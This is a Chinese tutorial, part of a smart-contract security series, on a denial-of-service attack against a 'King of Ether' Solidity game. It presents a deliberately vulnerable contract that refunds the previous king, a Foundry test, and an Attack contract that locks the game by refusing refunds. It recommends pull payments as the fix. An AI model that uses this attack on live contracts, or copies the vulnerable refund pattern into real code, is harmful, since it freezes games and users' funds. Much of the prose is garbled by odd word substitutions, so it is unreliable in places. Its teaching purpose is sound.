区块链安全常见的攻击分析——拒绝服务攻击 (Denial of Service-DOS)King合约【11】

合约内容：在合约游戏中，新玩家通过发送比当前 King 更多的代币来成为新的 King，同时合约会将原 King 的代币退回。
重点：
假如原 King 是一个合约地点，而且合约没有实现 receive 或 fallback 函数来吸代替币，退回代币的 call 操纵会失败，从而导致整个合约无法继承运行，游戏制止。
1.1 毛病分析

会把上一个king转进来的钱退回，假如上一个king汲取退回的函数有题目，就会导致合约游戏制止。

1.2 毛病合约

1. // SPDX-License-Identifier: MIT
2. pragma solidity ^0.8.18;
4. import "forge-std/Test.sol";
6. /*
7. 名称：拒绝服务攻击 (Denial of Service)
9. 描述：
10. KingOfEther 合约设计了一场游戏，用户可以通过发送比当前余额更多的以太币来获得“王位”。
11. 合约会尝试将当前余额返还给上一个“国王”，当新用户发送更多的以太币时。
12. 然而，这种机制可能被利用。攻击者的合约（这里是 Attack 合约）可以成为“国王”，
13. 然后在其回退函数中触发回退失败或者消耗超过规定的 Gas 限制，
14. 导致当 KingOfEther 合约试图将以太币返还给上一个国王时，claimThrone 函数失败。
16. 缓解措施：
17. 使用 Pull payment 模式，解决方法是让用户自己提取他们的以太币，而不是直接将以太币发送给他们。
19. 参考：
20. https://slowmist.medium.com/intro-to-smart-contract-security-audit-dos-e23e9e901e26
21. */
23. contract KingOfEther {
24.     address public king;
25.     uint public balance;
27.     function claimThrone() external payable {
28.         require(msg.value > balance, "Need to pay more to become the king");
30.         (bool sent, ) = king.call{value: balance}("");
31.         require(sent, "Failed to send Ether");
33.         balance = msg.value;
34.         king = msg.sender;
35.     }
36. }

复制代码

1.3 攻击步调分析

• 在攻击合约中调用 claimThrone 函数，成为当前 King。故意不实现 receive 或 fallback 函数，确保攻击合约无法汲取退回的代币。
  
  
  
  
• 当下一个玩家（如 Aquarius）实验通过调用 claimThrone 函数成为新的 King 时，合约会实验将代币退回给攻击合约。
  
  
  
  
  
  
  
• 由于攻击合约无法吸代替币，退回操纵失败，导致交易业务回滚，Aquarius 的竞争失败。合约陷入死锁状态，游戏无法继承举行。
  
  
  
  

办理方法

假如攻击合约有receive汲取函数，用户Aquarius会竞选乐成

效果输出：

1.4 攻击合约

1. // SPDX-License-Identifier: MIT
2. pragma solidity ^0.8.18;
4. import "forge-std/Test.sol";
5. import "./DOS.sol";
7. contract ContractTest is Test {
8.     KingOfEther KingOfEtherContract;
9.     Attack attackContract;
10.     address Koko;
11.     address Aquarius;
13.     function setUp() public {
14.         KingOfEtherContract = new KingOfEther();
15.         attackContract = new Attack();
16.         Koko = vm.addr(1);
17.         Aquarius = vm.addr(2);
18.         vm.deal(address(Koko), 1 ether);
19.         vm.deal(address(Aquarius), 9 ether);
20.         vm.deal(address(attackContract), 6 ether);
21.         console.log("address(Koko):", address(Koko));
22.         console.log("address(Aquarius):", address(Aquarius));
23.         console.log("address(attackContract):", address(attackContract));
24.     }
26.     function testKingOfEther() public {
27.         console.log(
28.             "KingOfEther Contract king:",
29.             KingOfEtherContract.king(),
30.             "balance:",
31.             KingOfEtherContract.balance()
32.         );
34.         vm.prank(Koko); //  Koko 调函数，竞争king
35.         console.log("koko claim king");
36.         KingOfEtherContract.claimThrone{value: 1 ether}(); // 附带 1 ether 调用 claimThrone 函数
37.         console.log(
38.             "KingOfEther Contract king:",
39.             KingOfEtherContract.king(),
40.             "balance:",
41.             KingOfEtherContract.balance()
42.         );
44.         // 攻击
45.         console.log("ATTACK claim king..");
46.         attackContract.attack{value: 6 ether}(address(KingOfEtherContract));
47.         console.log(
48.             "KingOfEther Contract king:",
49.             KingOfEtherContract.king(),
50.             "balance:",
51.             KingOfEtherContract.balance()
52.         );
54.         vm.prank(Aquarius); // Aquarius 竞争king
55.         console.log("Aquarius claim king");
56.         vm.expectRevert("Failed to send Ether");
57.         KingOfEtherContract.claimThrone{value: 9 ether}(); // 附带 9 ether 调用 claimThrone 函数
58.         console.log("Aquarius FAIL !!");
59.         console.log(
60.             "KingOfEther Contract king:",
61.             KingOfEtherContract.king(),
62.             "balance:",
63.             KingOfEtherContract.balance()
64.         );
65.     }
66. }
68. contract Attack {
69.     address kingOfEtherAddress;
71.     function attack(address _kingOfEtherAddress) public payable {
72.         kingOfEtherAddress = _kingOfEtherAddress;
73.         KingOfEther(kingOfEtherAddress).claimThrone{value: msg.value}();
74.     }
75. }

复制代码